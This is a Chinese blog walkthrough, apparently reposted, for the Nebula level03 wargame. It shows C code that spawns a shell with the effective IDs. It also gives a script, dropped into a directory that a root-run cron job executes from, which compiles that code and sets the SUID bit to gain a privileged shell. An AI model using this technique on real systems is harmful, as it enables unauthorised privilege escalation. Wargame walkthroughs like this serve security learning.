您的位置:首页 > 其它

ExploitExercises_Nebula_Level03

2016-12-26 15:41 309 查看
题目设置定时任务,定时执行/home/flag03/writable.sh脚本:

#!/bin/sh

for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done


可以看到,该脚本去执行writable.d目录下的程序。

获取shell过程如下:

1. 在/tmp/目录下新建level03.c文件:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

system("/bin/bash");
}
2. 在/home/flag03/writable.d目录下新建level03.sh脚本,并且设置+x属性:

gcc -o /home/flag03/level03 /tmp/level03.c
chmod u+s,a+x /home/flag03/level03
3. 完成以上步骤后,等待几分钟,当定时任务执行后,将在/home/flag03下编译生成level03文件,并且设置SUID属性;

4. 运行/home/flag03/level03,获取shell
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: